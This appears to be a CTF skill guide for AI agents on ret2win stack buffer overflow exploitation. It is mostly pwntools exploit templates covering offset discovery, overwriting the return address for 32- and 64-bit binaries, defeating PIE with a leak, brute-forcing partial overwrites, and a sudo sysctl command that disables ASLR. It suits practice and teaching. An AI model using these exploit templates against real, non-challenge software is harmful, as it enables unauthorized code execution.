Hacktricks-skills ret2win-exploit
How to solve ret2win CTF challenges by exploiting buffer overflows to call a hidden win function. Use this skill whenever the user mentions ret2win, buffer overflow exploitation, calling a win/flag function, CTF binary exploitation, stack overflow to redirect execution, or any challenge where you need to overwrite a return address to execute a specific function. This applies to 32-bit and 64-bit binaries, with or without ASLR/PIE protections.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/stack-overflow/ret2win/ret2win/SKILL.MDRet2Win Exploitation Guide
Ret2win challenges involve exploiting a buffer overflow vulnerability to overwrite the return address on the stack, redirecting execution to a hidden
win function that prints the flag.
Quick Start
- Analyze the binary - Check protections and find the win function address
- Determine overflow offset - Find how many bytes to the return address
- Craft the payload - Padding + win function address
- Execute and iterate - Run the exploit, adjust if needed
Step 1: Binary Analysis
Check Protections
# Check if PIE is enabled (bad for ret2win - addresses will randomize) checksec --file vulnerable # or readelf -l vulnerable | grep GNU_RELRO # Key protections to check: # - PIE: If enabled, you need a leak or partial overwrite # - Stack Canary: If enabled, you need to bypass it first # - NX: Usually OK for ret2win (we're not injecting shellcode)
Find the Win Function Address
# Method 1: Using objdump (static analysis) objdump -d vulnerable | grep -A 20 '<win>' # Method 2: Using gdb (dynamic analysis) gdb ./vulnerable (gdb) break win (gdb) info address win (gdb) x/i $pc # Method 3: Using pwn (recommended) from pwn import * context.binary = './vulnerable' b = ELF('./vulnerable') print(hex(b.symbols['win']))
Note: If PIE is enabled, the address will be relative. You'll need a leak to get the base address, or use partial overwrite (see below).
Step 2: Find the Overflow Offset
Method 1: Pattern Create (pwntools)
from pwn import * # Generate a unique pattern pattern = cyclic(100) # Run the binary and send the pattern p = process('./vulnerable') p.sendline(pattern) # When it crashes, note the EIP/RIP value from the crash # Then find the offset: offset = cyclic_find(crashed_eip_value) print(f"Offset to return address: {offset}")
Method 2: Manual Testing
from pwn import * p = process('./vulnerable') # Try different lengths until you control EIP for length in range(60, 100, 4): p = process('./vulnerable') p.sendline(b'A' * length) try: p.wait() if p.poll() is None: continue except: pass # Check if we crashed with controlled EIP # (you'll need to inspect the crash in gdb)
Method 3: GDB with Pattern
# In gdb: (gdb) break *main+50 # or wherever the vulnerable function is (gdb) run (gdb) # Send pattern via terminal (gdb) # When it crashes: (gdb) info registers eip (gdb) # Note the value and calculate offset
Step 3: Craft the Exploit
Basic 32-bit Exploit (No ASLR, No PIE)
from pwn import * # Setup context.binary = './vulnerable' b = ELF('./vulnerable') # Find addresses win_addr = b.symbols['win'] # Determine offset (from Step 2) offset = 68 # Example: 64 byte buffer + 4 byte saved EBP # Craft payload payload = b'A' * offset + p32(win_addr) # Execute p = process('./vulnerable') p.sendline(payload) p.interactive()
64-bit Exploit
from pwn import * context.binary = './vulnerable' b = ELF('./vulnerable') win_addr = b.symbols['win'] offset = 72 # 64-bit: 64 byte buffer + 8 byte saved RBP payload = b'A' * offset + p64(win_addr) p = process('./vulnerable') p.sendline(payload) p.interactive()
With PIE (Need Leak)
from pwn import * context.binary = './vulnerable' b = ELF('./vulnerable') # First, leak a known address p = process('./vulnerable') # Send initial input to trigger leak (depends on challenge) # Example: if there's a format string or read vulnerability p.sendline(b'%p') # or whatever triggers the leak leaked_addr = u64(p.recvline().strip()[:6].ljust(8, b'\x00')) # Calculate base base = leaked_addr - b.symbols['known_function'] win_addr = base + b.symbols['win'] # Now craft the ret2win payload offset = 68 payload = b'A' * offset + p64(win_addr) p.sendline(payload) p.interactive()
Partial Overwrite (When ASLR is on but last nibble is stable)
from pwn import * # If you can only overwrite 1-2 bytes of the return address # and the last nibble of win's address is stable context.binary = './vulnerable' b = ELF('./vulnerable') # Get the win address win_addr = b.symbols['win'] # Extract the last 1-2 bytes that are stable # For example, if win is at 0x401150 and last nibble is stable: partial = p32(win_addr)[-1:] # Last byte # Craft payload with partial overwrite offset = 68 # To reach return address payload = b'A' * offset + partial # You might need to try multiple times (1/16 chance per nibble) for _ in range(100): p = process('./vulnerable') p.sendline(payload) if b'flag' in p.recvall(): print("Got the flag!") break
Common Scenarios
Scenario 1: Simple 32-bit, No Protections
from pwn import * b = ELF('./vulnerable') offset = 68 win = b.symbols['win'] payload = b'A' * offset + p32(win) p = process('./vulnerable') p.sendline(payload) p.interactive()
Scenario 2: 64-bit with ASLR, Need Leak
from pwn import * b = ELF('./vulnerable') # Phase 1: Leak p = process('./vulnerable') # ... leak code ... base = leaked - b.symbols['leaked_func'] win = base + b.symbols['win'] # Phase 2: Exploit offset = 72 payload = b'A' * offset + p64(win) p.sendline(payload) p.interactive()
Scenario 3: Partial Overwrite (1 byte)
from pwn import * b = ELF('./vulnerable') win = b.symbols['win'] # Last byte of win address partial = p32(win)[-1:] offset = 68 payload = b'A' * offset + partial # Retry loop for ASLR for i in range(20): p = process('./vulnerable') p.sendline(payload) try: output = p.recvall() if b'flag' in output or b'Congratulations' in output: print(f"Success on attempt {i+1}!") print(output) break except: pass
Debugging Tips
Using GDB with Pwntools
from pwn import * context.binary = './vulnerable' # Start with gdb p = gdb.debug('./vulnerable', ''' break *main+50 continue ''') # Or attach to running process p = process('./vulnerable') gdb.attach(p)
Common Issues
| Issue | Solution |
|---|---|
| Segfault immediately | Offset is wrong, recalculate with cyclic |
| Wrong address | Check if PIE is on, use leak or partial overwrite |
| Canary error | Need to leak/bypass canary first |
| NX error | You're trying to execute stack, use ret2win not shellcode |
| Address changes each run | ASLR is on, disable with or use leak |
Disable ASLR for Testing
# Temporarily disable ASLR sudo sysctl -w kernel.randomize_va_space=0 # Or run with setarch setarch $(uname -m) -R ./vulnerable
Using the Helper Scripts
The skill includes helper scripts to speed up exploitation:
# Generate a ret2win exploit template python scripts/ret2win-exploit.py --binary ./vulnerable --offset 68 --arch 32 # Find function addresses python scripts/find-win-addr.py ./vulnerable # Test different offsets python scripts/test-offset.py ./vulnerable --range 60-100
References
Key Takeaways
- Always check protections first - PIE and canaries change the approach
- Find the exact offset - Use cyclic patterns, don't guess
- Get the win address - Static (objdump) or dynamic (gdb/pwn)
- Handle ASLR - Leak, partial overwrite, or disable for testing
- Test iteratively - Start simple, add complexity as needed